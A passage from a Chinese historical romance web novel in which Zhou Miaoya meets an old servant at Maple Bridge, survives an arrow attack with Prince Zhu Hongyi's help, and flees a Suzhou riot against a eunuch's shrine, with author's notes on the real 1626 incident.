山风拂过,掠起她素白的衣袂,似一声悠长的叹息。 她仍跪在原处,直到山下的喧嚣渐渐散去,白泱泱的队伍如退潮般消失在山林之间,只剩下那座新起的坟茔,孤零零地立在天光下。 香已燃尽,酒已洒毕。 周妙雅对着那方,深深叩下最后一个头。额头触到冰冷湿润的泥土,一丝刺骨的清醒瞬间袭来。 她抬起头,脸上依旧没有泪痕,只有被雨水浸湿的痕迹。 她缓缓起身,拂去裙角的泥土与草屑,转身,不再回头。 ———— 送葬的喧嚣散去,文府大门紧闭,只余门前散落的纸钱,在春日微风中打着旋儿。 悦来客栈二楼,周妙雅临窗而立,面容平静,无悲无喜。青黛在一旁,仍在低声咒骂文毓瑾的狠毒与凉薄。 这时,长安轻叩房门进来,手中持着一方折叠得极小的普通桑皮纸。 “周姑娘。” 他低声道:“方才有个小乞儿在客栈后门塞过来的,指名要交给您。” 周妙雅接过纸条,缓缓展开。 纸上字迹歪斜,显是书写之人年迈或手不稳,墨迹也淡,但内容却让她心头骤然一紧:“表姑娘安,老奴孙氏,冒死求见,今夜亥时三刻,于寒山寺外枫桥畔等候,万望珍重,切切。” 孙嬷嬷… 第58章 长安退下后, 室内一时寂静无声。 周妙雅仍捏着那张孙嬷嬷写给她的纸条。 她将纸条轻轻放在烛火上,看着纸条慢慢烧成灰烬。 朱弘毅行至她身侧,垂目看那灰烬, 语气平静如水:“文毓瑾方在宗祠发难, 将你逐出文家, 转眼便有旧仆冒险传书,时机太过巧合。” 他顿了顿,声音低沉了下去:“需提防这是文毓瑾设下的陷阱。” 周妙雅抬眸,窗外文府老宅的飞檐被雨线浸得模糊。 她声音很轻:“孙嬷嬷…不一样,她是祖母从娘家带过来的老人,伺候了祖母一辈子,也护了我半辈子。我小时候生病, 是她整夜整夜抱着我,用酒擦身降温, 我学画手腕酸痛, 是她用药油帮我揉开。” 记忆像潮水涌了上来,她眼前闪过许多细碎的过往,最终定格在文毓瑾意图用强的那个惊魂之夜:“那夜…若不是孙嬷嬷机警, 随着白芷一同请来祖母,我恐怕…早已失身于文毓瑾。” 孙嬷嬷于她, 并非普通仆役,更是在那吃人文府中, 曾给过她一线生机和些许温暖的人。 朱弘毅沉默地听着,没有打断, 他能听出她语气中深藏的那份信任。 周妙雅转过身,直面朱弘毅,眸光清亮而坚定:“我必须去见她, 祖母走之前还有话没有说完,孙嬷嬷或许…知道些我们不知道的事。” 朱弘毅凝视她片刻,见她眉宇间虽仍有凝重,却无半分犹豫与怯懦。 他深知她并非不谙世事的天真少女,文家的风霜刀剑早已教会她警惕,她此刻的坚持,是源于对过往那点微光的珍视,以及对真相的迫切。 他终是颔首,不再劝阻,语气却愈发肃然:“好,你去见,但一切须依本王安排。” 他走近一步,烛光在他深邃的眸中跳跃,映出运筹帷幄的冷静:“文毓瑾此人,心思缜密,手段狠绝。他既能当众将你驱逐,便绝不会轻易罢手。他料定你心系祖母,情感用事,若他设局,今夜枫桥便是最好的时机。” 他声音压得更低,语气中带着决断:“届时,本王的人会提前清场,暗中布控。你只管去见她,问你想问的话。但需记住,无论听到什么,看到什么,一旦有异动,立刻撤离,其余之事,交由本王。” 周妙雅望着他,心中因文毓瑾而紧绷的弦,终于松弛了几分。她明白,这并非束缚,而是他给予的最坚实的庇护。 她轻轻点头:“我明白,我会小心。” 夜色渐沉,亥时将至。 周妙雅披上一件素净无纹的玄色斗篷,兜帽落下,遮住了大半张脸。 她推开客栈房门,廊下昏黄的灯光映照出她沉静的侧脸。 朱弘毅站在她身后,并未相送,只最后嘱咐了一句:“记住,提防文毓瑾在暗中埋伏。” 周妙雅脚步未停,微微颔首,身影便没入廊下阴影中,悄无声息地朝着客栈后门走去。 后门处,长安与两名便装侍卫早已候立多时,更远处的屋脊,巷口,河岸,尚有十余道暗哨屏息潜伏,皆把目光锁向那座古老的枫桥。 枫桥畔,夜泊的船只静静停靠,偶有灯火在船舱中闪烁,寒山寺的轮廓在夜色中静谧而庄严,唯有远处隐约传来的钟声,悠远沉静。 周妙雅在桥头站定,河风带着水汽拂面,微凉,她拢了拢斗篷,目光警惕地扫过四周。 约莫过了一炷香的功夫,芦苇丛忽地窸窣作响,一道佝偻的身影蹑手蹑脚地闪了出来。 她穿着深色的粗布衣裙,用头巾包住头脸,虽步履蹒跚却带着急切。 走到近前,她微微抬起脸,月光下,那张脸布满皱纹,眼神清亮,眼底却燃着焦光,正是孙嬷嬷。 “表小姐!” 孙嬷嬷一把抓住周妙雅的手,她的手心冰凉,带着微微的颤抖,声音压得极低,带着哭腔:“老奴…老奴可算见到您了!” 周妙雅反握住她冰冷的手,掌心感受到了孙嬷嬷的颤意,不由得心头一酸:“嬷嬷,您怎么冒险来了?若是被文毓瑾…” 孙嬷嬷急急打断她,老眼里瞬间涌上泪水:“老奴顾不了那么多了!今日祠堂里那些混账话,老奴都听说了!他们…他们这是在往小姐身上泼脏水,要把小姐往死路上逼啊!老太太若是泉下有知,定要气得…” 她哽咽到说不下去,胸口被郁气堵着,急急着喘息着,双手冰凉却死死攥住周妙雅,半晌,才又开口: “小姐…老奴虽未跟着老太太北上,没见过那康家小姐是何等模样,心性如何,可、可老奴在文家伺候了一辈子,打死我也不信,老太太会是死于什么内宅妇人的嫉妒,老太太的死,背后定有天大的阴谋,绝不是那么简单!” 周妙雅心头剧震,指下意识地收紧,声音发颤:“嬷嬷,您是不是知道什么?” 孙嬷嬷老眼含泪,月光下闪过一瞬决然,她几乎贴在周妙雅耳侧,气息不稳地低语:“老奴…老奴只晓得一桩旧事,当年小姐尚在襁褓,是被抱进文家门的,而抱您来的,不是别人,正是老奴的嫡亲妹妹,是她亲手将您送到老太太眼前。” 周妙雅呼吸一窒,仿佛连心跳都停了一瞬,多年来,她自认是文家不知何处拾来的孤女,万没料到竟与孙嬷嬷有这般渊源。 她急急追问,声音因紧张而发紧:“您妹妹?她如今人在何处?她…她可知我亲生父母是谁?” 孙嬷嬷却痛苦地摇了摇头,泪水落得更凶:“她…她在宫里,在皇宫中做了一辈子的女官…老奴只知道这些,连她具体在哪一宫当差都不清楚,我们姐妹,几十年也难得通一次消息。” 她喘了口气,抬手抹去泪水,忽从怀中摸出一封泛黄的信笺,指尖微颤地递到周妙雅面前,说出了更惊人的信息:“这是老太太出事前半月寄给老奴的,信里只写了一句,日前于宫中西苑偶遇孙氏,容色尚好,汝可安心。” 孙嬷嬷说罢,便拿出那封信,递到周妙雅手上。 她的声音带着无尽的恐惧与后怕:“老太太头一回进宫赴宴,回来便写了此信,可信才到老奴手里,她老人家就…就遭了祸,表小姐,老奴只怕…只怕老太太的死,与这次见面脱不了干系,她们…她们定是说了什么不该说的,知道了什么不该知道的。” 话音未落,周妙雅已觉一股冰寒从脚底直窜脊背,浑身的血液都快要凝固。 宫中女官…祖母密会…旋即被害… 这一切像散落的珠子,被孙嬷嬷这番话骤然串联起来,指向一个深不见底、危机四伏的方向。 她不仅身世成谜,这谜团背后,似乎还牵扯着宫廷秘辛,而祖母,很可能是因为触及到了那漩涡的中心,才招来了杀身之祸。 就在她心神剧震,试图将这惊天秘密消化理解的刹那—— “嗖!” 一道尖锐的破空之声撕裂了夜的寂静,从运河对岸的黑暗处疾射而来! 那是一支闪着幽冷寒光的利箭,速度极快,目标明确,直取周妙雅和孙嬷嬷的所在。 死亡的气息扑面而来… 周妙雅根本来不及做出任何反应,只觉一股冰冷的杀意瞬间锁定了自己,她吓得猛地闭上双眼,脑中一片空白,等待着那穿透身体的剧痛。 然而,预想中的刺痛并未到来。 就在那千钧一发之际,一道玄色身影骤然闪现,精准无比地挡在了她和孙嬷嬷身前,那人右手疾如闪电般探出,竟在空中硬生生一把攥住了那支去势凌厉的箭矢。 周妙雅惊魂未定地睁开眼,只见朱弘毅横身在前。 他死死握住那支箭,箭镞的寒光,映照着他冷峻如冰的侧脸,他的目光如鹰隼般锁定着河对岸那片摇曳的芦苇荡。 芦苇深处忽有一道黑影快速闪过。 “走!”朱弘毅低喝一声,声音短促而紧绷,他一只手仍紧握着那支箭,另一只手已迅速揽住周妙雅的手臂,要将她带离这危险之地。 周妙雅被他带着踉跄一步,却猛地回头,孙嬷嬷瘫坐于桥板之上,面色惨白如纸。 她伸手去拉孙嬷嬷,急声道:“嬷嬷,跟我们走,你不能回去,文毓瑾既然动了杀心,你回去就是死路一条!” 孙嬷嬷抬起头,泪痕纵横的脸上浮出一抹凄然笑意,她看着周妙雅,用力摇了摇头,枯瘦的手反过来,用尽力气,掰开了周妙雅拉着她的手。 “小姐,走吧,该说的,老奴都已经说了。” “嬷嬷!” 周妙雅心头大恸,不肯松手:“一起走!求您了!” 孙嬷嬷看着她,眼里闪过一丝极深的痛楚与决绝,她几乎用尽了全身力气,猛地将周妙雅的手甩开,低吼道:“走!” 这一个字,像是带着血的诀别。 力道之大,让周妙雅向后跌去,恰好被朱弘毅稳稳扶住。 朱弘毅不再迟疑,揽紧周妙雅,沉声道:“长安,断后。” 话音未落,他已半扶半抱着她,迅速转身,步履如风,朝着更隐蔽的巷口疾步离去。 周妙雅眼眶骤然一热,死死咬住下唇,将几乎夺眶而出的泪水硬生生地逼了回去,她任由朱弘毅带着,迅速没入了苏州城纵横交错的深巷之中。 她知道,这一别,就是永诀—— 作者有话说:小朱徒手接箭A爆了! 第59章 惊魂一夜过后, 他们没有再回悦来客栈。 朱弘毅立在暂居小院的廊下,望着天边泛起的鱼肚白,声音沉稳:“此处已不安全, 长安, 去准备车马, 今日便启程回京。” 周妙雅站在他身后,闻言未语,她沉默片刻,走上前一步,轻声道:“王爷,在回京之前,我想带您去见一个人。” 朱弘毅回身, 眉峰微蹙,目带询问。 周妙雅迎上他的目光, 眼神清澈而坚定:“去了, 王爷自会知晓。” 见她如此,朱弘毅沉吟片刻,终是点头。 次日清晨, 一辆不起眼的马车悄然驶过尚在沉睡中的苏州街巷,碾过湿润的石板路, 最终在桃花坞深处一座僻静的院落前停下。 院门斑驳,檐下悬着半旧的木匾, 用篆体写着眠云堂三字,笔力遒劲, 透着隐逸之气。 周妙雅掀帘下车,引朱弘毅步入院中。 画堂墨香氤氲,四壁挂满了未竟的山水长卷, 案上笔墨纸砚井然有序。 一位身着半旧葛袍,气质清癯的中年男子正俯身案前,专注地勾勒着山石纹理。 听见脚步声渐近,男子抬起头。 当他看清来人是周妙雅时,执笔的手微微一顿,眼中闪过一丝难掩的讶异与关切。 “妙雅?” 仇方放下笔,目光在她脸上停留了片刻,确认非梦,才低声续道:“许久未见了。” 他的声音温和,带着长辈的关切,仔细端详着她:“听闻你随文老太太去了京城,一切可都还好?” 周妙雅上前一步,敛衽为礼:“劳先生挂念。” 她随即侧身抬手,引出身旁之人:“这位是京城来的朱公子。” 而后又回眸向朱弘毅轻一俯首,声音恭谨自然:“公子素来欣赏仇先生的画作,府上珍藏的《秋山萧寺图》,每岁秋高,您皆亲手展卷细赏。” 朱弘毅目光微动,眼底掠过一丝意外,他确实很欣赏仇方的画作,那份超然物外的气韵与他 心境相合,自己确曾数次在卷前驻足,却未曾料想,周妙雅竟将他这点私好都暗记于心。 他收敛神思,朝仇方拱手:“久闻先生画名,先生笔意超然,晚辈心仪久矣,今日始得拜见,幸甚。” 仇方抱拳回礼,目光却仍落回周妙雅身上,声音温缓:“在京中可还习惯?文老夫人她” “祖母已过世了。”周妙雅语色平静,指尖却悄悄蜷紧。 仇方执笔的手一顿,墨迹在宣纸上洇开一小团,他沉默良久,轻叹了一声:“你受苦了。” 周妙雅微微摇头,她看向案上未完成的画作,是一幅《寒江独钓图》,孤舟蓑翁浮于苍茫江面之上,笔简意远,仿佛天地间只剩一人。 “先生这幅画,水纹的处理很是特别。”她轻声叹道。 仇方抚须,亦顺着她的目光看去:“不用勾线,全凭墨色浓淡,你从前总说这样画水,最能得其神韵。” 朱弘毅缓步上前,目光落在《寒江独钓图》上。 他凝视片刻,指向画中水波,声音低沉却含赞赏:“先生以淡墨层层晕开,不施勾勒,看似无痕,实则将江势之流转,空茫之气象尽融于墨色浓淡之间。” 他指尖微移,落在那蓑翁的钓竿之上:“这一笔枯墨,看似随意,却将钓竿的劲瘦,江风的凛冽都画出来了。” 仇方眼中闪过一丝讶异,旋即抚须含笑,眼底浮出欣慰:“朱公子懂画。” 他取过另一卷画轴展开,是一幅未完成的山水,山石皴法奇特,似斧劈又似云卷。 “这是新创的皴法?”朱弘毅问。 仇方点头:“尝试将斧劈皴与卷云皴相融,以求山石既见骨力,又得空灵。” 朱弘毅细细端详:“妙在虚实相生,山脊用斧劈显其刚劲,山腰以卷云显其柔润,这一处” 他指向画中云雾缭绕处:“若是稍减三分墨色,或许更能显其缥缈。” 仇方目露惊喜,随即就瓷盏蘸清水,轻晕墨痕,墨色渐淡,云雾果然更添空蒙之意。 “受教了。”仇方搁笔,看向朱弘毅的目光已带上几分知己之意。 周妙雅静静立在窗边,看着二人论画,阳光透过窗棂,在朱弘毅专注的侧脸上投下淡淡光晕,这一刻,他不再是那个高高在上的王爷,只是一个真正懂画的知音。 仇方斟一盏新泉,双手递过去,轻声道:“朱公子对画理见解独到,仇某陋室何幸,若得闲暇,公子可愿常来品画?” 朱弘毅接过茶盏,抬眸时目光掠过窗边的周妙雅,唇角含了极浅的笑:“若有缘,定当再来请教。” 朱弘毅与仇方论画正酣,画室的门帘忽然猛地被撞开。 仇珍半扶半抱,拖着一个血人踉跄闯入,那书生青衫浸血,左肩处插着半截断箭,随着他的喘息微微颤动,他脸上毫无血色,嘴唇发青,全靠仇珍瘦弱的肩膀支撑着才没有倒下。 “爹!快!”仇珍的声音带着哭腔,发丝凌乱地贴在汗湿的额头上。 仇方慌忙撂下手中画笔,一个箭步上前,与女儿一同扶住那书生。 仇珍半扶着伤者经过周妙雅身边时,抬眼扫了她一眼——那一瞬,震惊,疑问,疏离,种种情绪在她眼中交织。 她们曾经是形影不离的挚友,曾在桃花树下一起临摹,在天平山上并肩写生,但此刻,仇珍只是咬了咬下唇,便全力搀扶着伤者往里间去。 周妙雅愣在原地,似被那一眼定住,动弹不得。 她看见仇珍的手上也沾满了鲜血,连指缝里都是暗红色,触目惊心。 里间传来书生强忍的痛哼,随即是布料被撕裂的声音。仇方旋即掀帘而出,双手染血,面色凝重得似能滴出水来。 见周妙雅不是外人,仇方压低声音道:“是兴社的学子,苏州百姓反对给魏阉建生祠,学子们联名上书,今日在文庙前遭东厂强行镇压。” 说话间,他目光瞥了一眼窗外,声音更沉:“五义士当场被捕,这是逃出来的一个,这些日子,我这画室里已暗中收留了数人。” “伤势如何?”周妙雅轻声问,声音有些发颤。 仇方摇头,眼角深刻的皱纹里满是痛楚:“箭头卡在里面,失血太多,怕是” 他的话没说完,但意思已经明了。 就在这危急时刻,周妙雅忽然上前一步:“先生,让我去看看,我在京城随太医院的王老太医学过些医术,或能一试。” 仇方微怔,目光在她沉静的面庞上顿了顿,随即侧身让开:“好,你快来。” 帘影晃动,周妙雅已快步踏入里间。 狭小的内室里,那书生躺在临时铺就的草席上,胸口急促起伏,唇角血沫随呼吸簌簌而落。 仇珠半跪其侧,双手以布巾死死按住伤口,可鲜血仍不断从指缝间涌出。 “让我来。”周妙雅撩裙俯身,熟练地检查伤口,她拨开书生破碎的衣衫,仔细查看箭头的深度和方向。 “没有伤及要害,还有救。” 她抬起头,语气坚定:“但必须立刻取出箭头。” 她转头看向跟进来的朱弘毅:“需要有人按住他。” 朱弘毅毫不犹豫地挽起袖子,在书生头侧蹲下,用双臂稳稳压住书生的肩膀和手臂,他动作干净利落,仿佛早已习惯了这种场面。 周妙雅取出一个随身的小布包,展开里面是几样简单的医疗器具。 她取出一把精致的小刀,在烛火上反复灼烧。 “仇先生,请按住他的腿。”她声音平静,手上动作却极快。 仇方立即照做。 仇珍屏息站在一旁,紧张地咬着下唇,目光慌乱地在周妙雅专注的侧脸和朱弘毅沉稳的动作间来回游移。 周妙雅以棉帕蘸清酒,拭净创口四周的血污,深吸了一口气:“我要开始了。” 刀刃精准地划开皮肉,书生发出一声压抑的嘶吼,身体剧烈挣扎。 朱弘毅的手臂纹丝不动,牢牢将他制住,鲜血涌出,周妙雅却不慌不忙,用手指探入伤口,摸索着箭头的位置。 “找到了。”她低语,随即用特制的镊子夹住箭头,缓缓向外拔出。 倒刺勾肉,每动一分,书生的身体就剧烈抽搐一次,朱弘毅臂上青筋暴起,稳如磐石。 箭头离体时,周妙雅额上已布满细汗,她迅速用药粉覆创止血,再用干净的布条仔细包扎。 “暂时保住性命了。” 她直起身,长长舒了口气:“但今晚很关键,可能会发热。” 仇珍这才敢靠近,轻声问:“他能活下来吗?” 周妙雅洗净手上的血污:“若能熬过今夜,就有希望。” 窗外,天色已完全暗了下来。 画室内烛火摇曳,映出众人疲惫而凝重的面容。 朱弘毅立在案旁,目光落在周妙雅收拾医具的指尖上,眸色深沉,情绪难辨。 忽而,远处传来一阵喧哗,似有火把晃动,脚步声杂沓,正朝眠云堂方向逼近。 周妙雅心头骤紧,抬眸望向朱弘毅。 朱弘毅面色如常,只抬手在她肩头轻轻一按,俯身耳语:“放心,本王去解决。” 他转身出了画室,玄色衣袂掠出门帘,转瞬融入夜色。 外面的喧哗声起初更大了起来,隐约能听见兵刃相碰的铿锵,还有几声厉喝,周妙雅的心提到了嗓子眼,连仇方都屏住了呼吸,侧耳听着外面的动静。 然而不过片刻,那些声音竟渐渐低了下去,一阵马蹄声杂乱地远去,最终归于沉寂。 门帘再次掀起,朱弘毅缓步走回,神色如常:“无事。” 他只说了这两个字,却如拨云见日,让画室内中凝滞的空气重新流动了起来。 仇方抬眼,眸底惊澜未平,却尽化作感激之色,拱手道:“今日多亏二位相助,天色已晚,外面怕是不太平,二位若不嫌弃,就在这画室暂住一晚,待明日天亮再走。” 朱弘毅侧首望向周妙雅,见她微微颔首,便道:“那就叨扰了。” 夜深了,画室里只余一盏油灯。 仇珍伸手挽住周妙雅的臂弯,带着旧时亲昵:“今晚你同我睡吧,就像小时候那样。” 周妙雅望着好友熟悉的面容,轻轻点头:“好。” 她先俯身探了书生的脉息,见他呼吸平稳了些,这才去后院小厨房煎药,药罐在炉上咕嘟作响,苦涩的药香弥漫开来。 朱弘毅不知何时走了 过来,站在灶边:“需要帮忙么?” 周妙雅手持长柄木勺,缓缓搅动着药汁,轻声问:“方才外面是怎么回事?” 朱弘毅淡淡道:“无妨,本王亮明身份,东厂领头认得我,知我奉旨南下收画,便不敢多言。” 周妙雅这才松了口气,手下动作却未停,将煎好的药汁细细滤出。 待一切妥当,已是深夜,周妙雅随仇珍进了里间,两人并肩躺在幼时常睡的那张榻上,被子带着阳光晒过的味道,和记忆里一般无二。 仇珍侧身向里,指尖捻着被角,在黑暗中轻声问:“那位朱公子那般俊朗,可是你的心上人?” 周妙雅一怔,低嗔了一句:“莫要胡说。” 仇珍掩唇,语气里带着狡黠:“我都瞧见了,方才煎药时,他一直在旁守着,眉目含情,你们说话时那般亲近…” 周妙雅脸上发烫,一把拉过被子蒙住头:“才不是!” 仇珍轻轻扯她被子,笑声拂耳:“被我说中了!” 两人在被子下悄悄闹作一团,仿佛又回到了无忧无虑的年少时光—— 作者有话说:五人墓碑记来啦!!! 天启六年,魏忠贤派人到苏州逮捕周顺昌,苏州市民群情激愤,奋起反抗,发生暴动。事后,统治者大范围搜捕暴动市民,市民首领颜佩韦等五人为了保护群众,挺身投案,英勇就义。 所以……魏琰和泰和帝朱弘睿几乎都是明码了[笑哭] 周顺昌在下一章出现,不过也被作者君化名了 第60章 次日, 天刚蒙蒙亮,灶间已袅袅升起炊烟。 仇珍系着围裙,正轻手轻脚地准备早饭。 米粥在灶上咕嘟作响, 她顺手往灶膛里添了把柴火, 火光映得她双颊微红。 周妙雅起身后, 先探了里间伤者的脉象,书生呼吸平稳,额间热度也退了,她松了口气,转身去后院煎药。 待药香弥漫时,仇珍已摆好碗筷,一碟碧绿的炒青菜, 一碟脆嫩的酱瓜,配上熬得软糯糯的米粥, 看着就很有食欲。 仇珍故意把竹椅往周妙雅身边一推, 眼睛弯成月牙:“朱公子请用,我们雅儿特意嘱咐说公子口味清淡,这酱瓜是我新腌的, 正好给您佐粥。” 周妙雅在桌下轻掐了她一把,仇珍哎呦了一声, 反而笑得更欢:“怎么,我说错啦?昨夜某人不是还念叨着朱公子来着?” “珍姐姐!”周妙雅急得去捂她的嘴, 脸颊飞起一团嫣红。 朱弘毅执筷的手微微顿了顿,唇角已抑制不住轻轻上扬:“有劳姑娘费心了。” 仇珍凑近周妙雅耳边, 声音不大却刚好可以让全桌听见:“你瞧,朱公子多体贴,这样的如意郎君若是放跑了, 我可是要替你可惜的。” 周妙雅羞得恨不得钻到桌底,只得低头猛喝粥。 偏那粥烫得很,她娇嗔地轻呼了一声,吐了吐舌头。 “慢些。”朱弘毅自然而然地递过一杯凉茶。 仇珍立即朝周妙雅挤眉弄眼,惹得她连耳根都红透了。 早饭后,马车已候在院外。 仇珍牵着周妙雅行至廊下,忽地收了玩笑神色,眼圈儿一红,哽咽道:“雅儿,此去京城,山高路远,你可得好好保重。” 周妙雅握紧她的手:“我会常写信的。” 仇珍用袖子抹了抹眼角,忽又弯唇,狡黠地凑到她耳畔:“等你们大喜之日,定要第一个给我下帖子,我偏要看看,这位朱公子究竟是怎样天仙般的人物,竟把我们雅儿的魂儿都勾走了。” 周妙雅羞得直跺脚,伸手便去掩她的嘴:“不要胡说!” 仇珍灵巧地躲开,笑着朝已经站在马车旁的朱弘毅喊道:“朱公子,我家雅儿便托付与你了!若她受半点委屈,我第一个拿你是问!” 周妙雅又羞又急,最后瞪了仇珍一眼,转身快步走向马车,经过朱弘毅身边时,根本不敢抬头看他。 车帘落下前,她看见仇珍站在晨光里,一边抹泪一边朝她挥手,嘴角却还带着笑。 马车缓缓启动,周妙雅靠在车厢里,想起仇珍方才的玩笑话,脸上刚刚褪去的红晕又悄悄爬了上来。 车内狭窄,她尽力贴着窗格而坐,垂眸盯着自己互绞的指尖,仿佛这样就能按住怦怦乱跳的心。 朱弘毅坐在她对面,将她这副羞窘的模样尽收眼底。 他沉默了片刻,终是开口,嗓音低沉,却在密闭空间里格外清晰:“昨夜…你们在里间,说我什么了?” 他的语气很平淡,像是随口一问,可目光却停在她耳尖那抹绯色上,不曾移开。 车厢轻晃,这独处的空间,突如其来的问话,让周妙雅心头猛地跳动,仿佛又回到了奉国寺布施归来的那个晚上,她猝不及防撞进他怀中的刹那。 她仓皇抬眸,正对上他探究的视线,那夜他胸膛的温度,沉稳的心跳,以及自己紧紧环住他腰身的触感,竟不合时宜地再度涌上。 她猛地攥紧手中的绣帕,声线细若游丝,慌忙避开他的视线:“没,没什么…她就是…就是爱胡说八道,当不得真的。” 她越是这样否认,越是显得欲盖弥彰。 朱弘毅看着她连白皙的脖颈都漫上一层薄红,嘴角掠过一丝极淡的笑意,便也不再追问,只轻轻嗯了一声。 待马车行至苏州府衙附近的主街时,突然猝不及防地停了下来。 外面并非寻常市集的喧闹,而是人声鼎沸。 怒吼此起彼伏,间杂着官差的呵斥、棍棒敲击与器物碎裂的声音,整条街被堵得水泄不通。 朱弘毅眉峰骤敛,隔着车帘沉声问道:“长安,何事?” “王爷,前路被堵死了,聚集了太多的百姓,马车过不去。” 长安警觉地回道。 “去问问缘由。” “是。” 长安领命而去,身影灵活地没入人群,不过一盏茶的功夫,他便折返回来,气息微促,隔着车帘低声禀报: “王爷,打听到了,是苏州巡抚毛鹭,为献媚魏琰,强行要在虎丘为魏琰建生祠,不仅挪用了修河堤的官银,还强征民夫,摊派银钱,本地士绅百姓早已怨声载道。” 他顿了顿,声音压得更低:“恰巧,前吏部郎中周生昌大人,因得罪魏琰被贬官,途经苏州,得知此事后,周大人在公开场合斥责建生祠之举,直言魏阉乃乱臣贼子,祸国殃民,有何功德,配享生祠?” “毛鹭闻讯大怒,联合了东厂缇骑,要当街逮捕周大人,结果激起了民变…数千百姓聚集在府衙周围,高呼还我周吏部,他们已经冲撞了府衙大门,与东厂缇骑和官差发生了冲突,殴伤了数人…场面彻底失控了。” 车厢内,空气骤然凝固。 周妙雅心头骤紧,她虽知魏琰权势熏天,却不想在远离京城的苏州,其爪牙竟也如此跋扈,催捐逼祠,挪用河银,激得民怨鼎沸。 那位素未谋面的周吏部,其风骨与胆识,令人心生敬佩,亦为之担忧。 朱弘毅面色沉静,眸底却已是寒潭深冰,他沉思了片刻,旋即下令:“绕路。” 长安面露难色:“王爷,所有通往城北运河码头的路,几乎都被看热闹或是参与其中的百姓堵住了,一时半会儿,恐怕…难以通行…” 言下之意,他们已寸步难行。 车外,怒吼声此起彼伏:“放了周大人!”“阉党滚出苏州!” 间或夹杂着兵刃碰撞的锐响,以及被打者痛苦的哀嚎。 周妙雅不由自主地攥紧了衣角,目光透过微 微晃动的车帘缝隙,试图看清外面的混乱。 她看到攒动的人头,看到愤怒扭曲的面孔,也看到东厂番子挥舞着棍棒刀鞘,凶狠地驱赶着人群。 朱弘毅凝神听了片刻外面的动静,眼神骤然一凛,他当机立断,沉声道:“下车,只拿随身要紧之物。” 话音未落,他已率先推开车门。 喧嚣与混乱同时扑面而来,他回身,紧紧抓住周妙雅的手腕:“拉紧我,别松手。” 周妙雅只觉腕上一紧,下一瞬已被拽入喧嚣人海。 怒吼,哭叫,棍棒敲击声轰然灌耳,四面八方都是涌动的人潮,推搡着,叫骂着,她几乎站立不稳。 “别怕,跟着我。”朱弘毅低沉的声音贴在她耳侧,沉稳异常,他将她护在身前,用另一只手臂格开挤撞过来的人群,艰难地朝着与府衙相反的方向走去。 他的手握得很紧,掌心的力量透过相贴的肌肤传来,成了这片混乱中她唯一能抓住的浮木。 周妙雅屏住呼吸,将全部心神系在他沉稳的脚步上,任由他牵引着,在愤怒的洪流中劈开一条狭窄的生路。 也不知在人潮里挤了多久,忽觉肩上一轻,如同破开一道无形屏障,四下压力骤散,他们终于冲出了最密集的人群,来到了相对空旷的街角。 紧接着,长安,青黛并两名护卫亦从不同的方向突围而出,个个鬓发凌乱,气息急促。 众人前脚才踏出险地,只听身后传来“轰隆”一声巨响,那辆青篷马车竟被怒潮般的人浪整个掀翻。 疯狂的人群如同潮水般从它上面践踏而过,车帘被撕碎,车厢在无数双脚的踩踏之下,转眼间便成了一堆破碎的残骸。 长安看着那转瞬即被吞没的马车,倒吸一口凉气,心有余悸地抹了把额角的冷汗:“王爷英明,再晚片刻…后果不堪设想。” 他回首望向府衙方向,那里已彻底化作修罗场,百姓似决堤洪流,再无人可挡。 朱弘毅目光扫过那堆废墟,脸上依旧没什么表情,只是握着周妙雅的手,又紧了一分。 他能清晰地感受到,掌中那只纤细的手,正在微微打着颤。 环视四下,他快速选定了一条僻静的巷弄:“此地不宜久留,走这边。” 众人避开主街,专拣僻静小巷穿行,终于抵达了运河码头。 然而码头上也并不安宁,原本在此拉脚,扛包的苦力们,多数也被煽动起来,他们手里拿着扁担,棍棒,群情激昂,正呼喝着往府衙方向涌去。 空气中弥漫着躁动不安的气息,连河水似乎都受到了扰动,拍打岸边的力道都显得急促。 他们事先订好的那艘客船,静静地泊在较为偏僻的一处泊位,船夫是个皮肤黝黑的中年汉子,正焦急地引颈张望,见到他们一行人匆匆赶来,明显松了口气,连忙搭上跳板。 “快,快上船。”船夫压低声音催促道,目光警惕地扫过远处那些躁动的人群。 朱弘毅护着周妙雅率先登船,长安,青黛与侍卫紧随其后,跳板刚被撤去,船夫便一刻不停地撑开长篙,船只缓缓驶离了喧嚣的岸边。 直到船身稳稳驶入河心,码头的喧嚷被抛得渐远渐淡,周妙雅一直紧绷的心弦才稍稍松弛下来。 她扶着船舷,回头望去,苏州城在视野中渐渐缩小,唯有府衙的上空,还凝聚着喧嚣。 她想起那些扭曲的面孔,想起苦力们高举的棍棒,想起顷刻间被踏成碎片的马车,寒意便顺着脊背一路爬上来。 她转回头,望向身侧神色沉静的朱弘毅,声音里带着尚未平复的惊惶:“世人竟已对魏琰憎恨到这般地步…” 她虽知魏琰权倾朝野,恶名昭彰,却未曾亲眼见过如此野火燎原般的民怨。 朱弘毅的目光依旧望着苏州城的方向,眸色深不见底。 他没有立即回答,只是任由运河上的风吹动他的衣袂,猎猎作响。 船夫沉默地摇着橹,河水被破开,发出哗哗的轻响,船只沿着古老的运河,向着权力与阴谋交织的京城缓缓驶去。 身后的苏州,那一场因阉党而起的风暴,已被留在了一片氤氲的水汽之后—— 作者有话说:天启六年,苏州市民因魏忠贤及其党羽逮捕东林党人周顺昌而举行了大规模的民变,数万人参与了反抗活动。魏忠贤的党羽在苏州为他建立了生祠,祠堂的规模宏大,甚至超过了北京的皇极殿和凌霄殿,生祠的建立引起了苏州市民的极大不满。周顺昌得知生祠建成后,怒不可遏,撕毁了要求叩贺的帖子,并痛骂魏忠贤。他来到生祠前,指着魏忠贤的塑像痛斥其罪行,表示自己只忠于圣上,不会向宦官下拜。毛一鹭和织造太监李实发现周顺昌后,命令随从动手。得知周顺昌的身份后,毛一鹭和李实更加愤怒,要求周顺昌先拜魏忠贤的神像。周顺昌坚决拒绝,并继续痛斥魏忠贤的罪行。魏忠贤派锦衣卫到苏州逮捕周顺昌时,苏州市民激于义愤,数万人云集衙门,痛打锦衣卫,毛一鹭躲到厕所才得以逃脱。苏州市民领袖颜佩韦等五人带领群众与锦衣卫展开搏斗,最终五人被捕并处死。《 》 60-70 第61章 客船沿着运河北上, 越往北行,两岸的景象便越发触目惊心。 起初不过零星聚众的人群,高声呼喊着口号, 顷刻间便能引来东厂番役或锦衣卫马队驱散捕人, 冲突时有发生。 这一日, 船行至一处较大的城镇附近,尚未靠岸,便望见远处浓烟滚滚,黑灰色的烟柱直冲云霄,空气中弥漫着刺鼻的焦糊之气。 “那是…书院的方向。”船夫撑着篙,望着那烟柱,低声叹了口气, 摇了摇头。 待船只缓缓靠近,才看清那黑烟腾起之处, 